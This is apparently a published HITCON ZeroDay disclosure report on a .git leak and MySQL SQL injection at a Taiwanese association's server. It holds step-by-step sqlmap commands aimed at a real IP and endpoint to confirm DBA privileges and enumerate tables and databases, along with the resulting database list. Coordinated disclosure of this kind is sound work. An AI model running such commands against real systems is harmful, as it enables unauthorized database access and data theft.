Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-01051
- Vendor: 台灣建築調適協會
- Title: 台灣建築調適協會 .git洩漏
- Introduction: 來源IP的.git洩漏 雖然主頁面有強制跳轉sso 但源IP可直接觸發DBA型 MYSQL注入漏洞
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2026/08/19 20:49:24 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
- 2026/08/19 20:52:50 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
- 2026/08/19 21:00:51 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
- 2026/08/21 16:17:13 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/31 17:03:20 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/31 17:03:20 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/31 17:03:20 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/10/19 03:00:07 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-01051
- 通報者:koby12345 (桃園怪人協會幹部之一)
- 風險:低
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
偵測
sqlmap -u "http://59.124.29.187/php/ai_service.php" \
--data 'functionCode=a1b2c3d4-event-reg0-save-000000000001&data={"name":"x","phone":"0912345678","email":"[email protected]","helper_uuid":"test"}' \
--batch \
--random-agent \
--dbms=mysql \
--level 5 \
--risk 3 \
--technique=BET
查用戶名[email protected]
sqlmap -u "http://59.124.29.187/php/ai_service.php" \
--data 'functionCode=a1b2c3d4-event-reg0-save-000000000001&data={"name":"x","phone":"0912345678","email":"[email protected]","helper_uuid":"test"}' \
--batch \
--random-agent \
--dbms=mysql \
--level 5 \
--risk 3 \
--technique=BET \
--sql-query "SELECT user()"
查當前庫 tbcxaai
sqlmap -u "http://59.124.29.187/php/ai_service.php" \
--data 'functionCode=a1b2c3d4-event-reg0-save-000000000001&data={"name":"x","phone":"0912345678","email":"[email protected]","helper_uuid":"test*"}' \
--batch \
--random-agent \
--dbms=mysql \
--level 5 \
--risk 3 \
--technique=BET \
--sql-query "SELECT database()"
屬於DBA
sqlmap -u "http://59.124.29.187/php/ai_service.php" \
--data 'functionCode=a1b2c3d4-event-reg0-save-000000000001&data={"name":"x","phone":"0912345678","email":"[email protected]","helper_uuid":"test"}' \
--batch \
--random-agent \
--dbms=mysql \
--level 5 \
--risk 3 \
--technique=BET \
--is-dba
查表名
sqlmap -u "http://59.124.29.187/php/ai_service.php" \
--data 'functionCode=a1b2c3d4-event-reg0-save-000000000001&data={"name":"x","phone":"0912345678","email":"[email protected]","helper_uuid":"test"}' \
--batch \
--random-agent \
--dbms=mysql \
--level 5 \
--risk 3 \
--technique=BET \
--tables
查庫名
sqlmap -u "http://59.124.29.187/php/ai_service.php" \
--data 'functionCode=a1b2c3d4-event-reg0-save-000000000001&data={"name":"x","phone":"0912345678","email":"[email protected]","helper_uuid":"test*"}' \
--batch \
--random-agent \
--dbms=mysql \
--level 5 \
--risk 3 \
--technique=BET \
--dbs
available databases [8]:
[] information_schema
[] mysql
[] performance_schema
[] sys
[] tbcxa_sso
[] tbcxa_web
[] tbcxaai
[] tbcxaai_bk_20251125